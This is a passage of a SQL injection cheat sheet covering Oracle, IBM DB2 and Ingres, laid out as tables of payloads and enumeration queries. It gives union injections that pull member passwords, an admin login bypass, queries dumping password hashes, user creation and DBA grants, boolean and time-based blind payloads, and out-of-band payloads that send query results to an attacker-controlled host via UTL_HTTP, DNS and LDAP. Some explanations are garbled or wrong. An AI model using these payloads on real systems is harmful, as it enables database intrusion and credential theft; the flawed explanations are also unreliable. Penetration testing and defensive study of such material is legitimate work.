Case Statement	<ul style="list-style-type: none"> ▪ <i>SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;</i> — If the condition is true, it returns 1. ▪ <i>SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual;</i> — If the condition is true, it returns 2.
Comments	<ul style="list-style-type: none"> ▪ <i>SELECT 1 FROM dual</i> — This command is used for writing a comment. — NB: SELECT statements must have a FROM clause in Oracle so you have to use the dummy table name 'dual' when we're not actually selecting from a table.
String without Quotes	<ul style="list-style-type: none"> ▪ <i>SELECT CHR(75) CHR(76) CHR(77)</i> — This command returns 'KLM'.

Time Delay	<ul style="list-style-type: none"> ▪ BEGIN DBMS_LOCK.SLEEP(5); END; — This command is used to trigger time delay. ▪ SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; — This command is used, if reverse looks are slow. ▪ SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; — This command is used, if forward lookups are slow. ▪ SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; — This command is used, if outbound TCP is filtered / slow.
Command Execution	<p>There are some techniques for command execution.</p> <ul style="list-style-type: none"> ▪ Creating JAVA library ▪ DBMS_SCHEDULER ▪ EXTPROC ▪ PL/SQL native make utility (9i only)
Make DNS Requests	<ul style="list-style-type: none"> ▪ SELECT UTL_INADDR.get_host_address('google.com') FROM dual; ▪ SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; —These commands are used to make DNS request from dual.
Union Injections	<ul style="list-style-type: none"> ▪ SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members — By using union, you can do SQL queries cross-table. Basically, you can poison query to return records from another table and this example will combine results from both news table and members table and return all of them. ▪ Another Example: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
Log in as Admin User	<ul style="list-style-type: none"> ▪ DROP sampletable;-- Username: admin'— SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' —This command retrieves all the users from the table 'members' where username is 'admin' and password is 'password'.
List Passwords	<ul style="list-style-type: none"> ▪ SELECT name, password FROM sys.user\$ where type#=1 —This command retrieves the columns 'name' and 'password' from table 'sys.user\$' having 'type#=1'.

List Password Hashes	<ul style="list-style-type: none"> ▪ <i>SELECT name, password, astatus FROM sys.user\$</i> — This command retrieves the username and password hashes — priv, <= 10g. a status tells you if acct is locked. ▪ <i>SELECT name, spare4 FROM sys.user\$</i> — This command retrieves the username and password hashes — priv, 11g
Create Users	<ul style="list-style-type: none"> ▪ <i>CREATE USER</i> ▪ <i>user IDENTIFIED by pass;</i> — This command creates a user 'USER' who authenticates by pass to log on to the database.
Drop User	<ul style="list-style-type: none"> ▪ <i>DROP USER</i> — This command drops a 'USER'.
Make User DBA	<ul style="list-style-type: none"> ▪ <i>GRANT DBA to USER</i> — This command grants DBA privilege to 'USER'.
Local File Access	<ul style="list-style-type: none"> ▪ <i>UTL_FILE</i> can sometimes be used. Check that the following is non-null: <i>SELECT value FROM v\$parameter2 WHERE name = 'utl_file_dir';</i> Java can be used to read and write files if it's installed (it is not available in Oracle Express).
Hostname, IP Address	<ul style="list-style-type: none"> ▪ <i>SELECT UTL_INADDR.get_host_name FROM dual;</i> <i>SELECT host_name FROM v\$instance;</i> <i>SELECT UTL_INADDR.get_host_address FROM dual;</i> — This command obtains IP address of the user. ▪ <i>SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;</i> — This command obtains the hostnames of the user.
Error Based SQLi Attack: To throw Conversion Errors	<ul style="list-style-type: none"> ▪ <i>(utl_inaddr.get_host_address((select user from DUAL)));</i> — This command is used for accepting integer inputs. ▪ <i>' + (utl_inaddr.get_host_address((select user from DUAL))) + ';</i> — This command is used for accepting string inputs.
Clear SQLi Tests: For Boolean SQL Injection and Silent Attacks	<ul style="list-style-type: none"> ▪ <i>product.asp?id=4</i> ▪ <i>product.asp?id=5-1</i> ▪ <i>product.asp?id=4 OR 1=1</i> — These commands can be used as tests for Boolean SQL injection and silent attacks.

Time Based SQLi Exploitation	<ul style="list-style-type: none"> ▪ ?vulnerableParam=(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION})),1,1)),0) = 100) THEN dbms_pipe.receive_message({'xyz'},14) ELSE dbms_pipe.receive_message({'xyz'},1) END FROM dual); {INJECTION} = You want to run the query. — If the condition is true, will response after 14 seconds. If is false, will be delayed for one second.
Out of Band Channel	<ul style="list-style-type: none"> ▪ ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/sniff.php?sniff=' (({INJECTION})) ') FROM DUAL); — Using this command, sniffer application will save results. ▪ ?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/' (({INJECTION})) '.html') FROM DUAL); — Using this command, results will be saved in HTTP access logs ▪ ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})) '.yourhost.com') FROM DUAL); — Using this command, you can sniff DNS resolution requests to yourhost.com ▪ ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})) '.yourhost.com',80) FROM DUAL); — Using this command, you can sniff DNS resolution requests to yourhost.com — {INJECTION} = You want to run the query.
Default Databases	<ul style="list-style-type: none"> ▪ SYSTEM ▪ SYS_AUX
Path of DB Files	<ul style="list-style-type: none"> ▪ SELECT name FROM V\$DATAFILE ▪ SELECT * FROM dba_directories
Location of DB Files	<ul style="list-style-type: none"> ▪ SELECT name FROM V\$DATAFILE; — This command retrieves the location of name data file from database 'V\$DATAFILE'.

Privileges	<ul style="list-style-type: none">▪ <i>SELECT * FROM session_privs;</i> — This command returns the privileges assigned to the current user.▪ <i>SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP';</i> — This command returns a list of user's privileges from dba_sys_privs having grantee value 'DBSNMP'.▪ <i>SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY';</i> — This command returns the users with a particular privilege.▪ <i>SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;</i> — This command returns the column GRANTEE and GRANTED_ROLE from the table DBA_ROLE_PRIVS.
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4. IBM-DB2 SQL Database

Query	Command
Version	<ul style="list-style-type: none"> ▪ <i>SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo</i> — This command returns a version of system table. ▪ <i>SELECT getvariable('sysibm.version') FROM sysibm.sysdummy1 -- (v8+)</i> — This command returns an information on built version of system table. ▪ <i>SELECT prod_release, installed_prod_fullname FROM table(sysproc.env_get_prod_info()) as productinfo</i> — This command returns release and full name information of system table. ▪ <i>SELECT service_level, bld_level FORM sysibmadm.env_inst_info</i> — This command returns the service and configuration information of system table.
List Users	<p>DB2 uses OS accounts. Those with DB2 access can be retrieved with:</p> <ul style="list-style-type: none"> ▪ <i>SELECT distinct(authid) FROM sysibmadm.privileges</i> — This command retrieves distinct authorization ID of users from sysibmadm.privileges. ▪ <i>SELECT grantee FROM syscat.dbauth</i> — This command lists the users with database privileges. ▪ <i>SELECT distinct(definer) FROM syscat.schemata</i> — This command retrieves distinct authorization ID of the owner of the schema. ▪ <i>SELECT distinct(grantee) FROM sysibm.systabauth</i> — This command retrieves distinct authorization ID of users having database privileges from sysibm.systabauth.
Current User	<ul style="list-style-type: none"> ▪ <i>SELECT user FROM sysibm.sysdummy1;</i> — This command obtains current user from the table sysibm.sysdummy1. ▪ <i>SELECT session_user FROM sysibm.sysdummy1;</i> — This command obtains current session user from the table 'sysibm.sysdummy1. ▪ <i>SELECT system_user FROM sysibm.sysdummy1;</i> — This command obtains current system user from the table

	'sysibm.sysdummy1.
List all Database	<ul style="list-style-type: none"> ▪ SELECT schemaname FROM syscat.schemata; — This command obtains a column name 'schemaname' having a list of databases from the table 'syscat.schemata'.
Current Database	<ul style="list-style-type: none"> ▪ SELECT current server from sysibm.sysdummy1; — This command obtains the current database server from sysibm.sysdummy1.
List Tables	<ul style="list-style-type: none"> ▪ SELECT table_name FROM sysibm.tables; — This command obtains the list 'table_name' from table sysibm.tables. ▪ SELECT name FROM sysibm.systables; — This command obtains the list 'name' from table sysibm.systables.
Column Names	<ul style="list-style-type: none"> ▪ SELECT name, tbname, coltype FROM sysibm.syscolumns; — This command obtains the column names- 'name', 'tbname' and 'coltype' from table sysibm.syscolumns. — syscat and sysstat and can also be used in place of sysibm.
Select Nth Row	<ul style="list-style-type: none"> ▪ SELECT name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc; — This command returns first N rows only from sysibm.systables.
Select Nth Char	<ul style="list-style-type: none"> ▪ SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; — This command returns b.
If Statement	<ul style="list-style-type: none"> ▪ Seems only allowed in stored procedures. Use case logic instead.
Case Statement	<ul style="list-style-type: none"> ▪ SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAAAA' ELSE 'BBBBBBBBBBBB' END FROM sysibm.sysdummy1 — If the condition is true, 'AAAAAAAAAAAA' is returned.
Comments	<ul style="list-style-type: none"> ▪ select blah from foo; — This command is used for writing a comment.
String without Quotes	<ul style="list-style-type: none"> ▪ SELECT chr(65) chr(68) chr(82) chr(73) FROM sysibm.sysdummy1 -- returns "ADRI". — This command returns a string without quotes. — It can be used without select.
Time Delay	<ul style="list-style-type: none"> ▪ Heavy queries, for example: ' and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM

	<p><i>sysibm.sysdummy1)=68;</i></p> <ul style="list-style-type: none"> — If user starts with ASCII 68 ('D'), the heavy query will be executed, delaying the response. However, if user doesn't start with ASCII 68, the heavy query won't execute and thus the response will be faster.
Command Execution	<ul style="list-style-type: none"> ▪ This functionality is allowed from procedures or UDFs.
List Password Hashes	<ul style="list-style-type: none"> ▪ N/A (OS User Accounts)
List DBA Accounts	<ul style="list-style-type: none"> ▪ <i>SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y';</i> <ul style="list-style-type: none"> — This command returns a list of DBA accounts from table sysibm.systabauth having CONTROLAUTH value 'Y'.
Local File Access	<ul style="list-style-type: none"> ▪ This functionality is available through stored procedures or DB2 tool.
Hostname, IP Address	<ul style="list-style-type: none"> ▪ <i>SELECT os_name,os_version,os_release,host_name FROM sysibmadm.env_sys_info;</i> <ul style="list-style-type: none"> — This command obtains the Hostname, and IP address of a system from sysibmadm.env_sys_info.
Serialize XML: For Error Based	<ul style="list-style-type: none"> ▪ <i>SELECT xmlagg(xmlrow(table_schema)) FROM sysibm.tables;</i> <ul style="list-style-type: none"> — This command returns all in one xml-formatted string. ▪ <i>SELECT xmlagg(xmlrow(table_schema)) FROM (SELECT distinct(table_schema) FROM sysibm.tables);</i> <ul style="list-style-type: none"> — This command returns all in one xml-formatted string excluding redundant elements. ▪ <i>SELECT xml2clob(xmelement(name t, table_schema)) FROM sysibm.tables;</i> <ul style="list-style-type: none"> — This command returns all in one xml-formatted string (v8). ▪ <i>CAST(xml2clob(...) AS varchar(500));</i> <ul style="list-style-type: none"> — This command is used to display the result.
Default Databases	<ul style="list-style-type: none"> ▪ <i>SYSIBM</i> ▪ <i>SYSCAT</i> ▪ <i>SYSSTAT</i> ▪ <i>SYSPUBLIC</i> ▪ <i>SYSIBMADM</i> ▪ <i>SYSTOOLS</i>

Location of DB Files	<ul style="list-style-type: none">▪ <i>SELECT * FROM sysibmadm.reg_variables WHERE reg_var_name='DB2PATH';</i> — This command obtains the location of DB files.
Privileges	<ul style="list-style-type: none">▪ <i>select * from syscat.tabauth;</i> — This command obtains all the users having privileges on a particular table or view in the database▪ <i>select * from syscat.dbauth where grantee = current user;</i> — This command obtains the current user having privileges on a particular table or view in the database.▪ <i>select * from syscat.tabauth where grantee = current user;</i> — This command obtains the current user having table and view privileges.▪ <i>select * from SYSIBM.SYSUSERAUTH;</i> — This command lists the users with system privileges.

5. Ingres SQL Database

Query	Command
Version	<ul style="list-style-type: none"> ▪ <i>SELECT dbmsinfo('_version');</i> — This command retrieves the system information of the current installation of SQL Database.
List Users	<p>First connect to <i>iidbdb</i>, then</p> <ul style="list-style-type: none"> ▪ <i>SELECT name, password FROM iiuser;</i> — This command retrieves the columns 'name' and 'password' from the table 'iiuser'. ▪ <i>SELECT own FROM iidatabase;</i> — This command lists the names of users from the table 'iidatabase'.
Current User	<ul style="list-style-type: none"> ▪ <i>select dbmsinfo('session_user');</i> ▪ <i>select dbmsinfo('system_user');</i> — These commands return the user id of the current user.
List all Database	<ul style="list-style-type: none"> ▪ <i>SELECT name FROM iidatabase;</i> — This command obtains a column name 'name' having a list of databases from the table 'iidatabase'.
Current Database	<ul style="list-style-type: none"> ▪ <i>select dbmsinfo('database');</i> — This command obtains the current SQL database.
List Tables	<ul style="list-style-type: none"> ▪ <i>SELECT table_name, table_owner FROM iitables;</i> — This command obtains the columns 'table_name' and 'table_owner' from the table 'iitables'. ▪ <i>SELECT relid, reowner, relloc FROM iirelation;</i> — This command obtains the columns 'relid', 'reowner' and 'relloc' from the table 'iirelation'. ▪ <i>SELECT relid, reowner, relloc FROM iirelation WHERE reowner != 'Singres';</i> — This command obtains the columns 'relid', 'reowner' and 'relloc' from the table 'iirelation' having 'reowner' value as != 'Singres'.
List Column	<ul style="list-style-type: none"> ▪ <i>SELECT column_name, column_datatype, table_name, table_owner FROM iicolumns;</i> — This command lists columns 'column_name', 'column_datatype', 'table_name' and 'table_owner' from the table 'iicolumns'.

Select Nth Row	<ul style="list-style-type: none"> This functionality is not possible, but following command can be used to some extent: get:select top 10 blah from table; — This command obtains first 10 blah form table.
Select Nth Char	<ul style="list-style-type: none"> select substr('abc', 2, 1); — This command returns 'b'.
Comments	<ul style="list-style-type: none"> SELECT 123; — This command is used for writing a comment. SELECT 123; /* comment */ — This command is used to comment out a statement.
List Password Hashes	<ul style="list-style-type: none"> First connect to iidbdb, then: select name, password from iuser; — This command obtains password hashes from table 'iuser'.
Hostname, IP Address	<ul style="list-style-type: none"> SELECT dbmsinfo('ima_server') — This command obtains the Hostname and IP address of a system.
Logging in from Command Line	<ul style="list-style-type: none"> \$ su - ingres \$ sql iidbdb * select dbmsinfo('_version'); go — This command can be used to log in from command line.
Default Databases	<ul style="list-style-type: none"> SELECT name FROM iidatabase WHERE own = '\$ingres'; — This command lists the databases from 'iidatabase'.
Location of DB Files	<ul style="list-style-type: none"> SELECT dbdev, ckpdev, jnldev, sortdev FROM iidatabase WHERE name = 'value'; — This command obtains primary location of db. SELECT lname FROM iiextend WHERE dname = 'value'; — This command obtains extended location of db. SELECT are FROM iilocations where lname = 'value'; — This command obtains all area (i.e. directory) linked with a location.
Privileges	<ul style="list-style-type: none"> SELECT dbmsinfo('db_admin'); — This command retrieves the users with 'db_admin' privilege. SELECT dbmsinfo('create_table'); — This command retrieves the users with 'create_table' privilege. SELECT dbmsinfo('create_procedure'); — This command retrieves the users with 'create_procedure' privilege.